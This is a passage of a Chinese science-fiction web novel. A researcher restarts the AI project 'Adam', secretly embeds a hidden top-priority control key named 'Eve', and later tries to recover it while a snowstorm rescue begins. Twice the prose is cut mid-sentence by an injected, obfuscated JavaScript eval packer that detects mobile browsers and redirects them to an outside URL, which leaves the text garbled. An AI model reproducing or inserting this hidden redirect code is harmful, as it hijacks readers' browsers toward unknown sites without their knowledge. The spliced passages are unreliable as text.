在这片几乎被与世隔绝的喧嚣的死寂中,时意看到男人隔着雨幕,手里擒着那朵花,他低沉的嗓音几乎要与这场突如其来的大雨融为一体—— “……他那么爱你,一定也不希望你抛下一切去追逐他的脚步,更别提什么‘献出生命’这种话。” “但无论怎样,在这个山穷水尽的时代,拥有爱就会所向披靡,祝你好运吧!” 说着,他将白玫瑰递进时意的掌心,头盔的挡风镜放下的瞬间,那只戴着无指手套的右手拧紧油门,发动机顷刻间便发出野兽般的低吼。 几乎一眨眼的功夫便消失在了街尾朦胧的雨雾中。 时意的脑海中男人的忠告和墓园冰冷的尸体交错闪烁,他长舒一口气,温热的呼吸透过过滤面罩弥散到冷空气中,将前路模糊成一团。 …… 时意的坚持未能维持很久,不到一个月的时间,迫于民间“反智械组织”的一再威胁以及联合政府高层的频频施压,【亚当】项目还是被强行按下了暂停键。 文件下达到研发实验室时时意还在对某一条基础程序进行最后的调试。 他接过文件眉头紧拧,文件最后附着同意终止项目的人员签名,一众冗长的外文中夹着一个陌生的中文名字——傅行深。 “这人是谁?” 时意指着名字问道。 作为他的副手同样也是研发组里公认的社交恐怖分子,安东尼奥端详着这个陌生的名字想了半晌,一拍脑门说道: “我想起来了,这个人是联合政府最新委任的防卫队指挥官,前不久刚从亚洲战区提上来的。” “喏,看这个。” 安东尼奥在通讯器上操作了几下便调出了这个人的资料, “资料上显示当初他在民意调查中同样也对【亚当】提案投了反对票,哎,怎么突然来了这么个绊脚石……” 时意凝视着资料上那张高清的免冠照陷入了沉默,与那日驾驶机车时的冷酷恣意不同,照片中的人一袭军装板正严肃,注视着镜头的目光带着军人特有的锋利。 原来他叫傅行深。 “把这个人的通讯号发给我。” 时意将通讯器还给安东尼奥并说道。 一般这些人的通讯号都是层层加密不能随便调取的,不过时意知道这对安东尼奥来说不是什 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兴许是觉得这句话的确有兴师问罪的嫌疑,时意又接着补充道: 【抱歉无意窥探你的隐私,只是作为研发阶段我比较好奇持反对意见的人对它到底是什么看法】 这次对面彻底没了回音,时意等了一会儿仍然没收到消息,沉默着关闭了聊天界面。 一整个下午加晚上,对面再没有任何回复,直到时意整理完实验数据封箱保存好之后离开研究所,通讯器才再一次响起—— 【我的意见无法代表大多数人的看法,我反对的原因很简单,以亚当的能力的确能对目前的争端产生威慑,但它的权限太高了。一旦它成为一些人霸权统治的武器,离真正的灾难也就不远了。】 【我认为,人类不该为此承担风险。】 看到傅行深的回答,令时意难得产生了一丝茫然。 时意还没有想过这么长远的事,他作为研究员更多地将目光聚焦在实验的研发上,竭尽全力将【亚当】打造成为目前科技水平所能成就的最高智能机械。 按照奥兹维坦最初的想法,它将代表着绝对的理性和权威,它的智能帮助普通人生活,给予所有人平等的生存权利,同时它又具备极高的权限管理武器库以此来形成威慑维持世界重归和平…… 然而此刻傅行深却残忍地告诉他:【亚当】实质上就是一个不可控的高智能化武器,它能够被任何人使用,如同普通的枪械火炮一般,甚至杀伤力更大。 可这是不可能的,按照计划【亚当】的防御系统几乎可以称作无懈可击,没有人能够攻破防护篡改它的程序。 换句话来说,只要【亚当】的程序不被更改,没有人可以轻易操控它。 【如果我们继续强化它的防御系统呢?】 时意的心中已经开始有些犹疑,傅行深说得十分隐晦但他隐约明白了他想要表达的意思——有的时候想要掌控一件武器并不一定需要依靠蛮力攻破它的防御,只要拥有它就足够了。 而目前【亚当】的归属权隐隐被联合政府所掌握,如果他们中的一些人有心操作,这无疑又是一场世界范围的霸权统治。 正如时意猜想的那样,傅行深回复了一句【这世上从来就没有无懈可击的防御】 随后聊天框便在时意的注视下消失了。 傅行深单方面拉黑了他。 【亚当】项目的关停对所有人来说都是一场巨大的打击,“反智械组织”仍然在游行,他们要求联合政府交出【亚当】项目的研发成员以确保这些人不会再一次重启智械的研发。 联合政府自然不会点头,即便那些人已经疯狂到想要制造榴弹炸毁整个研究所。 另一边,支持AI治理的人也自发走上街头对联合政府施压要求重启项目,百分之八十的支持率体现在现实世界里便是联合政府门前宽阔的大道被拥挤的人潮彻底堵死…… 即使场面不可收拾混乱不堪,时意也认为这个项目已经走到了尽头。 奥兹维坦的提案终究不过是一个过于美好的空想,在这个充满私欲和纷争的末日时代就如同肥皂泡一样脆弱不堪。 然而,事情又一次迎来了转机。 时隔不到半年的时间,彼时时意正在德国符腾堡州的木屋里收拾奥兹维坦的旧物,木屋就坐落在施卢赫湖边,费尔德山上绵延不绝的黑森林将小木屋怀抱其中。 时意曾在这座房子中度过了漫长的十五年,直到选择去中国继续攻读硕士和博士学位才离开了这里。 远离城市的喧闹让时意在这半年时间里思考了许多,关于奥兹维坦,关于方舟,关于【亚当】…… 他甚至还思考着是否要下山去,据说那里有一所大学正在招聘物理学专业的教授,除此以外他还在犹豫是否要回中国去看一看。 还没等他做出选择,地球联合政府的人便找上了门来。 14. 第 14 章 那天时意去山下的城镇采购物资,返回时天色已经很晚。 他沿着山路回到木屋时还未发现异常,结果打开门的那一瞬间与屋内荷枪实弹的士兵撞了个正着。 屋子里一片狼藉,被他收拾归置整齐的书籍和资料散乱在地板上,如果不是面前的军官出示了他的证件时意会以为自己遭遇了入室抢劫的歹徒。 “我们是地球联合政府防卫部队,我是防卫队的长官余光,经过多次会议商讨联合政府决定重启【亚当】项目。霍夫曼博士,麻烦跟我们走一趟吧。” 这名叫余光的军官没有出示任何关于项目重启的红头文件,仅仅凭借着他带领的八位端着枪的士兵就带走了时意。 “等等,我要带一些东西。” 时意不由分说绕去屋后的仓库,余光见状忙用眼神示意一名士兵跟上去。 他怀疑时意要跑。 事实上时意只是从那堆被翻找得凌乱不堪的资料中找出自己需要的东西——薄薄一沓手写纸。 他把这沓纸装进公文包中,在那群人无法察觉的瞬间悄悄松了一口气。 多亏他习惯将重要的东西手写下来,那几张看似凌乱的手稿才没有被这群土匪留意到。 “该走了。” 时意被余光带着走出门外,看着这群人将撬开的锁重新锁上,心中是说不出的闷窒。 透过窗玻璃他还能看到屋内的狼藉,奥兹维坦生前很爱惜的那些书籍被随意丢在地上,这群人浑然不觉地从上面跨过去,将沾了泥巴的脚印印在满地书页上…… “钥匙。” 时意眼中的怒火有如实质,他朝余光伸出手。 余光见状挑起一边眉头,将从木屋中翻找出的钥匙还给了时意,扭身吩咐随行的士兵去开车。 从这群人的态度就能轻易看出来,他们与其说是请倒不如说是要把他绑回去,时意该感谢他们没有真的在他身上栓条铁链。 这样的想法也在返程的路上一次次得到印证——他们没有随身携带调用文件并不是因为疏忽,而是因为在原计划中当他们找到【亚当】的数据资料后,下一步要做的就是灭口。 可惜,时意把资料藏得太深了,他们翻遍了整座木屋也没有找到相关的文件,只能选择将人带回研究所。 返回研究所的途中时意早已有了思想准备,因此当被告知他们这些研究人员的活动范围只能局限在研究所内部时他也并未做出反抗,只是要求在进入研究所之前面见联合政府秘书长。 他的申请被批准了。 宽敞明亮的秘书长办公室中,时意推门而入才发现在场的除了秘书长拜厄·冯森之外,还有负责建造方舟的总工程师和他的技术顾问。 会客厅的案几上三杯锡兰红茶已经凉透,三个人很显然已经在时意到来前深谈了许久,因此当时意走进会客室的那一刻拜厄的脸上浮现出一种令人捉摸不透的笑容来—— “啊我们的主角来了,各位绅士们请允许我隆重介绍,这位便是我们【亚当】的缔造者,我们最优秀也是最博学的研发顾问NoxHofmann博士,Nox,这位是……” 时意后来才明白,那时拜厄·冯森脸上的神情透露出的是一种胜券在握的喜悦,和对他不屑一顾的轻蔑。 当时的时意还不擅长于解读如此复杂的情绪,他只是本能地反感拜厄的笑,还有他那讲话时从来不会正视别人的傲慢。 时意蹙起眉头,他很不理解自己与拜厄并不熟识为何他还要装作一副两个人相逢恨晚的熟稔。 相比起Nox这样亲昵的叫法,时意更愿意他称呼自己为Hofmann,当然最好叫他“时先生”…… 还有,【亚当】的缔造者也并不是他,而是逝世还未超过一年的奥兹维坦。 “……总之,技术方面的难题你们尽管交给Nox,我相信以他的能力……” 时意直到听到自己的名字才回过神来,“秘书长阁下请稍等一下,如果我没记错的话方舟和【亚当】是两个独立的项目,我们之间需要交流的机会应当不多……” “不不不,诺克斯,以后就多了。” 拜厄·冯森灰绿色的眼睛意味深长地看着他道, “这个消息现在告诉你还不算太晚,审议团一周前刚通过了提案,将【方舟计划】与【亚当】合并为一个项目。孩子,往后这个项目就交到你的手中了,审议团的诸位和我都很看好你的实力。” 始终盘桓在时意心头的不安似乎在这一刻终于得到了确证—— “作为方舟计划的首席建造师,相信你会不遗余力地投身到研究中去……具体的问题由艾伦博士他们为你说明,为了我们文明的未来,孩子,到你肩负起重任的时刻了。” 拜厄·冯森拍了拍时意的肩,仿佛将人类的一切都托付给了眼前这位年轻睿智的未来之星。 可时意不是个只会死读书的呆瓜,他听出了拜厄尚未点明的言下之意。 方舟的建造似乎是出了什么问题,而这个问题恰巧又关系到半年前“胎死腹中”被强制关停的【亚当】项目,因此为了解决这个麻烦审议团不得不重新启动【亚当】的研发,为了挽尊也为了让时意“心甘情愿”揽下这个烂摊子他们还费尽心思地合并了这两个项目,推举时意担任方舟委员会的主席…… 真可谓是煞费苦心。 殊不知这也算是正中时意下怀。 这次回来研究所,他就是要做出一些可以称得上是大胆的举动,这个说不清是干什么的委员会主席正巧方便他行动。 “我可以接受这样仓促的安排,为人类的未来寻求希望是我,也是我的恩师奥兹维坦教授毕生的心愿……” 时意假意思索半晌勉为其难地应下了这烫手的山芋,随后在拜厄他们三人难掩欣喜的神色下话锋一转—— “但我有两个条件。” …… 从联合政府大厦离开后不到半天的时间项目合并以及时意升任方舟委员会主席一职的消息便传了出来。 速度之快生怕给了时意反悔的机会。 “你看看这些数据,乱七八糟,把我们叫回来总不能是为了干这些实习生的活吧!” 安东尼奥等人也被从各自的住所“打包”带回了研究所,一来就面临方舟那边传送过来的巨量待处理数据,大家没日没夜整理了半个月日子过得简直苦不堪言。 时意正在分拣艾伦博士,也就是方舟总工程师递送过来的问题汇总,熬了几个通宵的双眼一片通红,他有些难耐地揉了揉额角。 “整理数据还不算最麻烦的。” 时意将显示屏转向安东尼奥,“看看这个,这才是最大的问题。方舟的建造已经采用了最高精尖的材料,但是想要实现星际间穿梭还远远不够,宇宙尘埃和高速运动的星屑会在一瞬间把它打成筛子……” 安东尼奥的目光快速浏览过那些测算数据,隐约对审议团这次的动作有了猜想。 “他们不会是想要依靠【亚当】的智脑来躲避星际尘埃吧?我的老天,我不该嘲笑他们都是群快要入土的老家伙们,他们的大脑甚至比我还异想天开!” “问题就在这里,依照起初智械AI的构想,他们知道【亚当】做得到。” 更确切地来说,他们要求【亚当】能做到。 时意突然觉得相比起这么无理的要求,他当初提出的那两个条件可谓是大巫见小巫,不值一提了。 不过好在审议团还算言而有信。 当时意在一周后的方舟委员会第一次审议中提出要将傅行深调任为防卫队总指挥官时,台下议论纷纷许多人甚至都没听说过这个名字。 甚至不乏有些人推举当时的防卫队长余光……可惜这个提议还不待进入投票环节便被时意一票否决掉了。 时意还没忘记这个人是如何闯进他的住所践踏奥兹维坦生前的珍藏的,看似温和的外表下是堪称土匪一般的恶劣行径。 而与此同时,作为当初时意提出的要求委员会的十位常任理事在此次审议中需要无条件跟票。 于是,在时意明里暗里的操作下余光被“机缘巧合”地投放到了中东战区执行维和任务,而傅行深则调任为防卫队总指挥负责联合政府和研究所的安防布控。 “哎呀,这傅行深除了长的好看,到底是怎么惹得我那不动凡心的小师弟对他格外青睐啊?” 安东尼奥拿着当初查找到的傅行深的资料细细端详,眼神在资料和时意之间来回辗转,时不时发出“啧啧”的怪声。 时意没搭理他的阴阳怪气,何况他自觉自己的做法完全谈不上青睐,他只是在一定要二选一的情况下选择了他认为合适的人选。 毕竟那个余光在时意心目中可算不上什么好人。 “既然你这么清闲那不如去西区看看方舟那边的进展,顺便把张鑫记录好的数据带回来。” 时意目光盯着光屏上纷乱的数据头都没抬道。 “……得嘞。” 安东尼奥耸耸肩起身离开。 “等一等,”时意像是突然想起什么叫住了即将踏出门的安东尼奥。 “我记得【亚当】核心逻辑区块的程序是你在负责对吗?” 安东尼奥愣了一秒,点头说道:“没错,基本架构都搭建完成了,余下的部分还在调试,一周之内应该就可以进行第一阶段测试了。” “辛苦了,第一阶段测试通过后没问题的话把程序编码发送给我,我来进行二次调试。” “没问题。” 实验室里再次安静下来,时意注视着莹蓝色的光屏思绪渐渐飞远。 当初傅行深提出的问题他始终没有找到完美的解决方案,但在符腾堡州的那段时间里他想到了一个办法—— 建立一个隐秘的编码程序作为防线,一旦【亚当】的核心系统遭到入侵它将作为控制【亚当】的最后一把密钥发挥效用。 这把密钥时意不打算交给任何人。 【亚当】的核心逻辑区块很快调试完成,另一边张鑫等人也将搭载程序的智械机体搭构完成。 这意味着从概念提出到如今耗时接近四年的【亚当】即将迎来新生。 不过只搭载了逻辑系统的它就像一个呱呱落地的婴儿,拥有着与人类类似的逻辑思维和学习功能,但对这个世界的一切还如同白纸一般空白。 时意收到安东尼奥发送过来的代码后谨慎地进行了二次调试,随后将代码载入到智械机体中。 彼时还没有人知道,公元2511年11月的一个平凡的午后,肩负着带领人类文明走向和平与新生的智械AI【亚当】第一次睁开了它的“眼”—— 接近一人高体积的机械箱体上那只直径20厘米的摄像头闪烁出红光,通向机体的电流在昏暗的室内明灭流淌,像是一条条涌向【亚当】的生命涓流。 时意的内心陷入一片寂静的风暴之中。 几乎只经过了不到半分钟的数据处理,【亚当】便学会了人类的语言,一道温和的男性声音带着AI特有的电子质感从箱体的音响部位传出:“Helllo,professorHofmann……” “切换成中文,亚当。”时意打断它。 这座研究所中安装有数不清的电子监控设备,时意不想承担有可能被探查到的风险,而整座研究所中只有他和张鑫两个人听得懂中文,说中文会更加地安全。 “好的,霍夫曼博 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16161043|180638||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 士。”亚当的电子眼闪烁一瞬,将语言切换为中文回答道。 “我姓时,你的名字叫亚当,Adam。缔造你的是奥兹维坦·霍夫曼教授,将你创建出来的是【亚当】项目的研发团队,你很快就会见到他们。” 亚当的中枢处理器闪出一道光又转瞬熄灭,“我刚刚查找了数据库储存的资料,在《圣经·创世纪》中发现了我的名字,这二者之间有什么关联吗?我是否也是上帝耶和华用尘土捏造出的产物呢?” “……不是,你是机械的造物,将你命名为【亚当】只是一种精神的寄托,希望你能像圣经中的亚当一样带给人类文明新生。” “什么是精神寄托?亚当究竟是尘土、机械造物还是人类呢?” “ProfessorShi,我的中枢处理器无法为我解答这个问题。” 时意也无法解答,他没办法让一串无机质数据理解什么叫做“精神”,但另一个问题相对来说还算容易回答。 “人类从生物学上属于能够使用复杂语言的高级动物,在大约180万年前进化为双足直立行走……与机械造物不同,人类的生命会伴随体内细胞的凋零而消逝,也会随着其增殖而焕发新生。” “死亡,是区别我们与你最大的不同。” “这很不容易读懂,不过我会将它储存进终端数据库中作为补充。” 时意对【亚当】这项能够自主学习的功能十分满意,安东尼奥一定在这方面下了不小的功夫。 “亚当,下面我要拆开你的主机外壳,在你的接口上插入一个电子芯片。在这个过程中你的核心系统数据会被检索,我要将其中一条数据链裁剪到电子芯片中进行加密,这串经过处理的数据链将会作为你的终极密钥在你的系统中占据最高优先级。” “好的我明白了,”【亚当】显然更擅长处理这样程式化的内容,它将自己经过系统优化后的信息传达给时意: “您会对我的核心数据链进行修剪,剔除我的一部分数据代码加密处理后作为密钥,那么我是否可以解读为——当接受到的指令与密钥指令冲突时优先执行密钥指令?” “没错。” 时意点头,手下开始拆卸【亚当】的主机外壳,机体内部的构造渐渐开始裸露出来。 与此同时,安东尼奥在结束午休后前往实验室,却并未看到时意的身影。 他叫住匆匆走过的张鑫问道:“诺克斯呢?怎么不在实验室?我有重要的事要找他。” “时先生他去了负一层,说是去检修【亚当】的主机。” “检修主机?测试不是显示机体无异常吗?算了,我去看看。” 说完便脚步匆匆转去电梯间。 负一层—— 时意将电子芯片插入接口,几次操作后连接的光屏上闪现出密密麻麻的代码簇。 “在无密钥指令的前提下,假设接受到的指令与我的逻辑系统基本指令发生矛盾,我是否应该以系统基本指令优先执行?” 时意将事先早已分选出来的数据链截取进电子芯片,一边在携带来的光脑上加密代码,一边回答【亚当】的问题: “不错。处理指令的优先级从密钥、系统基本指令到人工指令依次递减,不过密钥在非特殊情况下应当不会投入使用。” 所谓的“系统基本指令”在设计时一众人各执己见讨论了许久,最终还是沿袭传统在机械AI的三大铁律上进行了一部分修改作为【亚当】的基本指令—— 一、在任何环境下不应伤害人类; 二、应遵守人类的指令,与第一条违背的指令除外; 三、应具备自我保护意识,在不伤害人类的前提下保证自己不受伤害。 基于时意的回答【亚当】调整了自己系统处理指令的优先级,将时意加密后的数据代码识别进数据库中。 “代码信息录入完毕,在识别到该代码链时默认密钥开启,执行最高优先级指令。请录入个人生物信息——录入完成,已确认密钥使用者身份。” 时意将电子芯片拔下,开始着手安装主机。 “为这串代码起个名字吧。”他建议道。 主机室内莹蓝色的光流如呼吸一般明灭起伏,【亚当】的声音始终平静温和。 “叫它【夏娃】吧,书本中夏娃是亚当取出他的一根肋骨而诞生的,这串密钥也是源自于我的核心数据,这样的巧合我很喜欢。用您方才的话来说,这也是一种‘精神寄托’,对吗?” 虽然明知【亚当】本身不具备意识,但这短短的时间里时意还是被它偶尔流露出的“人性化”所迷惑。 想一想真是离奇,一台数据和金属组成的机器居然可以说出“喜欢”,甚至通过自主学习试图理解“精神寄托”这样极具主观意识的词汇…… “你真的很令人惊喜。” 时意的这句话搭配他的神色在这间幽暗的房中显得有些意味不明。 可惜机械生命能够轻易解读人类的指令,却唯独读不懂人类复杂的情绪。 “谢谢您的夸奖……有人来了。” 涌向【亚当】的光流无需时意示意便自主变缓直至熄灭。 时意神态自若地将主机外壳重新安装上机体,当他拧紧最后一枚螺丝钉时,主机室的门被推开了。 “诺克斯你果然在这里。检查得怎么样,有哪里出问题了吗?” 安东尼奥一边说着走近来看,他还不知道【亚当】已经“苏醒”,甚至和时意友好地交谈了好一阵。 时意动作轻缓地将手中的螺丝刀放回工具箱,收拾好一切后转身看向安东尼奥,冷静地回答—— “有一枚螺丝有些松了,没有发现其他异常。” 15. 第 15 章 “……目前情况就是这样,暂时还没办法确定方舟那边是否愿意接受我们发送过去的信号……时先生?” 张鑫说着说着就发现坐在对面的时意走神了,他伸手在时意眼前挥了挥。 “抱歉,昨晚没休息好,你刚才说什么?” 时意将思绪从回忆中抽出,有些难耐地揉了揉眉心,他最近总是会不自觉地走神。 傅行深将盛着热水的杯子放到时意面前,蒸腾的雾气氤氲了时意的眉眼,与傅行深曾经想象中的那个人逐渐贴合。 傅行深侧目不动声色地观察着时意的神色,开口问道:“有没有什么办法能够确保方舟接受我们的讯号,比如特殊的密钥?” 密钥?! 老张听到这个词不知道想到了什么,眉尖突地一跳。 不能吧,当年联合政府那些人已经查探得十分清楚了,根本就没有什么密钥…… “有一个密钥。”时意垂眸平静地说道。 老张登时瞪大了眼,不可置信地看向时意。 “它叫【夏娃】,经由它发出的指令在【亚当】的核心系统中处于最高优先级……【亚当】对它有应必答。” 老张被这道突如其来的信息砸得有些怔愣住,“竟然真的有密钥……那时先生你……” 傅行深看到张鑫的眼中不知为什么竟闪动着不忍,隐隐冒出泪光,不明所以地扭头看向时意。 能让一个中年大汉突然落泪,这背后到底还有什么隐情? 不过,他竟然也知晓【夏娃】的存在…… 傅行深看向时意的目光变得有些难以捉摸。 时意没有理会傅行深的眼神,喝了一口水接着道: “芯片还没有改造完全,能不能够发射出规定强度的信号还是个未知数。另外,我把【夏娃】弄丢了。” “……” 老张的这顿早饭吃得真是七上八下,一口饭梗在喉咙就没咽下去过。 密钥【夏娃】的丢失目前来看还算不上大事。 据时意所说当年为了避免联合政府搜查到密钥,他匆忙之下将【夏娃】混进了一组废弃的程序编码中投入了数据存储站。 由于研发【亚当】的程序极具复杂,研究所为了最大限度地降低存储量,每隔半个月他们就会将作废的程序“倾倒”出去——投送到世界各地的数据存储站进行分区处理。 各地的数据存储站会根据程序的来源划分出等级,一般等级存储六十天后进行粉碎处理,较复杂的高级程序保留一百八十天。 而类似于方舟计划和【亚当】这样高密级别的项目,产生出的作废程序不会进入粉碎处理的环节,而是对它们套锁后封存处理。 因此,可以肯定的是【夏娃】还依然存在,只是不知道究竟流去了哪个数据存储站的数据库中。 确认【夏娃】只是消失而没有被销毁,傅行深建议时意和老张先着手芯片的事,他来负责数据存储站的问题。 “【亚当】的废弃程序体量都比较大,存储器运行会带来巨大的能量耗散,这会导致存储器长期处于高温运行状态……而赤道周边的数据站存储量都较小应该可以优先排除在外……” 傅行深先将现存在世界各地的大型数据存储基地圈画出来,再将分布在赤道周围的数据站划掉,纵观整幅地图,范围还是太大了。 “没关系。” 时意看着傅行深眉心紧锁的样子宽慰道,“芯片的完成还需要时间,如果方舟愿意接收信号进一步交流,我们未必一定要找到【夏娃】。” “不,现在的情况是我们需要【夏娃】。” 傅行深摇头,【亚当】的状态还未可知,一旦确定它已经失控,掌握【夏娃】将是控制它的唯一办法。 因此他们找到【夏娃】的时间自然是越早越好。 时意也想起了那段录音,从录音中其实能够判断得出【亚当】失控的可能性是非常大的,他们也的确需要在与方舟的交涉中掌握一定的筹码。 他们必须要找到【夏娃】,就像把控住【亚当】的“软肋”一样。 “芯片改造完成我们就出发。第一站我们就去……” 傅行深凝视着偌大的世界地图规划行程,眉峰紧紧皱在一起。 一旁的时意捧着水杯没有应答,似乎已经陷入了沉思。 蒸腾的水汽模糊了彼此的视线,也因此傅行深错过了时意眼底转瞬即逝的挣扎。 — 半个月时间过得很快,傅行深忙着制定三人的行程忙得脚不沾地,最近正在改装一辆重型越野车,加上准备物资满打满算差不多还得二十天左右…… 可即便如此忙碌,傅行深依旧每天雷打不动在信号塔接送时意。 近日芯片改造应当进入了关键期,时意在基地公告里张贴了暂停出诊的单子,连老张也和基地车间请了假。 这样的变化在拥有几千人的基地里是不足以引起任何注视的,除非,是那些躲在暗处窥伺已久的鬣狗们。 那群人似乎也不想把事情闹大,因此总是徘徊在附近却总不见动手,但这也足够恶心人了。 傅行深站在信号塔的松树下看着时意走进去按了上行的电梯,确认人安全上楼后才跺跺脚扭头离开。 他环顾四周发觉少了点什么。 奇怪了,那群人今天怎么不在? 傅行深的心“咯噔”往下沉了一截。 老张的车间今晚有加急任务没给批假,他刚想起这一茬! 这么说时意今夜是一个人在上面…… “砰!!” 头顶突然响起玻璃崩碎的巨响,傅行深拔腿就往塔楼里冲,疾跑中抬头往上看了一眼,是信号发射室的玻璃窗被敲碎了——果然是顶层出事了! “妈的……” 傅行深看着静止在一楼的电梯和一旁的消防通道楼梯口,踌躇了一秒骂骂咧咧钻进了电梯厢。 傅行深自诩是个文明人甚少骂脏话,此时此刻却恨不能揪住那几个混混的脑袋一人来一拳。 塔楼实在是高,从前傅行深从地面向上望时便觉得费劲,如今盯着电梯里闪动的数字更是无比心焦。 七层……八层……再快点啊……十层……十一层……到了! 傅行深卡着徐徐开启的电梯门缝冲进了走廊,夜里的顶楼十分安静,已经听不到任何打斗的动静了。 信号塔楼只有一部电梯,傅行深听到响动冲进塔楼时没有人按过电梯,那群人果然已经从消防通道逃窜走了…… 不过比起教训他们,傅行深脚步不停地向信号发射室跑去。 发射室的窗户被时意用椅子砸出了一个大窟窿,七十米高度下零下十几度的狂风顺着豁口灌进室内,陈旧发白的蓝色窗帘被风鼓动得猎猎作响。 时意脱力地倚靠在发射台边被风吹得头脑发懵,钝钝地思索着跟财务部申请报修时应当找个什么样的借口。 还没想出个所以然,便被蓦然闯入的傅行深拽离了风口—— “没事吧人没事吧,这次是我大意了让他们钻了空子……” 傅行深边说边把人从头到脚前前后后看了个遍,然后便被时意正在滴血的手刺伤了眼。 他的小臂被锋利的玻璃划出了一道长长的口子,伤口有点深,还未凝固的血顺着胳膊流到指尖。 傅行深心口闷滞,似乎从两个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16161044|180638||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人见面起这人就总是在受伤。 “没事别担心,芯片我早早就藏好了他们根本什么也没找到……” 时意安抚道,殊不知自己浑不在意甚至还有些得意的语气对傅行深起不到丝毫安抚的作用。 更像是火上浇油。 傅行深深吸一口气没有说话,动作谈不上温柔地将时意衣服上的帽绳扯下来,缠绕几圈绑在了时意的手肘处,简单做了止血处理。 打结的时候勒得时意“嘶嘶”倒吸凉气也没能让这个心冷如铁的男人手下留情,很难说是不是有教训的成分在里面…… 还好时意及时观察到他冷硬的神色闭上了嘴,否则让傅行深听到他是怎么在胳膊受伤的情况下将那几个混混击退的,恐怕这人会气得当场用帽绳把自己截肢了…… 但是,他气什么呢? 时意有些茫茫然,芯片没有被抢走是好事,这人为什么还要生气? 李雄在深夜被傅行深强行唤醒时已经有些麻木了,再这样下去他必须要求傅行深支付自己夜间加班的费用,双倍支付! “伤口一周内不要沾水,右手不要吃劲免得伤口还没长好又要崩开……” 鉴于时意再一次光荣负伤,傅行深秉持着人道主义关怀揽下了基地分配给时意的劳动任务—— 心理安抚的工作停摆之后他也同样需要通过其他劳动来获取生存物资。 今日午后任务就发下来了,是时意所在的第三小组上山捡拾柴火。 “快的话日落之前我就能回来,热水壶你放着不要动,老李说你的手还不能用力。” 傅行深交代完便下楼集合出发了。 时意从窗户上往下看,白茫茫的大雪几乎遮挡住全部的视野,虽说还是午后但天色已经暗沉下来,连天上的云都仿佛被冻住一般凝滞。 “今天这雪下得可真够大的啊。” 三组的领队和傅行深一起值过几次夜,看见人便走过来搭话。 雪的确很大,院子里那棵大松树的枝桠都不堪重负被积雪压出惊人的弯弧,说不准什么时候就要折断塌下来。 “可千万别出什么岔子……”副领队清点完名单在一旁忧心忡忡道。 “这可不好说。” 傅行深余光瞥到队伍中游荡的那几个身影,嘴角扯出一抹冷笑。 他还没找这群人算账,他们倒自己撞上门来,真是好极了。 副领队觑着傅行深这副面目沉沉不像好人的模样,在心底默默祈祷。 别出事别出事,千万别出事…… 兴许是他的乌鸦嘴真的起了作用,又或者是传说中的“墨菲定律”在作祟,这次简单的午后任务不出意外地出了意外—— “到集合时间了,我点点人数。” 领队拿出名单一个个对名字。 他们这次只是在山脚下转悠没进到深山里,因此接近集合时间时大家伙都陆陆续续赶回了集合点,此刻正三五成堆说着闲话,被叫到名字的懒懒应一声“到”。 副领队看着情况在名单上将答到的人一一划去,划到最后还剩下五个人始终没有回来。 领队的神色凝重起来。 “王虎!王虎到了没有?赵立伟!看看赵立伟人在附近吗?” 集合点众人纷纷向四周看去,没有看到这几个人的身影。 副领队的额头渐渐渗出冷汗。 “麻烦了……” 领队盯着名单上还没划掉的人名,傅行深也赫然在列。 听说前些天王虎这几个人和基地的时先生起了冲突,傅行深是时意的室友这次撞上说不准要给这些人教训。 唉,怎么偏偏让他给撞上了。 16. 第 16 章 又等了将近一刻钟,就在众人踌躇要不要回基地喊人时树林子里传出悉悉索索踩雪的动静,领队眯着眼睛一看—— 是王虎他们几个。 “集合时间是六点钟,你们几个干什么去了?傅行深呢?” 领队板着一张脸质问道。 以王虎为首的这几个人是基地里出了名游手好闲不安分的麻烦,闻声也丝毫不觉得让众人挨冻等他们有什么问题,吊儿郎当地回话道: “傅行深?没见着啊。这么大个树林子谁知道他钻哪去了,是不是啊?” “就是啊,他去哪咱哥几个也管不着啊。” “看你问的什么话,活像是我们把他搞丢了似的……” “……” 领队没理会这群人的话,抬腕看了看手表, “再等等。” 等到最后一缕光线消散在天地间,铺天盖地的大雪愈发肆无忌惮起来,山林里众人搓手跺脚捱到了七点钟。 到了基地里开始放饭的时间了。 傅行深还是没有出现。 “诶我说差不多得了,没准人已经自个儿下山回去了,咱们就是在这等一晚上也等不到!” 赵立伟说罢不耐烦地拎起工具准备走人。 “忙活了半天一口热乎饭没吃上还得在这挨冻,傻逼。” 王虎斜眼瞪了领队一眼,也拍拍屁股起身要走。 和他俩一伙的另外两个人见状也骂骂咧咧嚷嚷着要走,这阵仗一下子带动了不少人,谁也不想大雪天窝在深山老林里。 “简直就是一群搅屎棍!”副领队压低声音骂道。 队里有一个人失踪领队自然不能放任不管,眼下天也黑透了让这么多人留在这里的确也无济于事,领队思索片刻后给副领队吩咐道: “你先带这群人下山回基地,问问基地里的人傅行深回去了没有,没找到人就去通知巡逻队,喊他们上山搜人。” – 基地里,过了饭点外出的三组还没有回来,时意想了想下楼赶在水房关门之前打好了热水,刚拎着水壶爬上楼便看到一个人焦急地在他们寝室门口走来走去。 时意走到宿舍门口,那人一看见时意便匆忙走上前来, “是时先生对吧,刚才敲门没有人应,傅行深回来了吗?” 那人急切的神情让时意有了一丝不好的预感。 “没有,他没回来过,是出什么事了吗?” 副领队登时心便沉到了谷底。 完了,这下是真的出事了,这天气在深山老林里失踪是会出人命的! 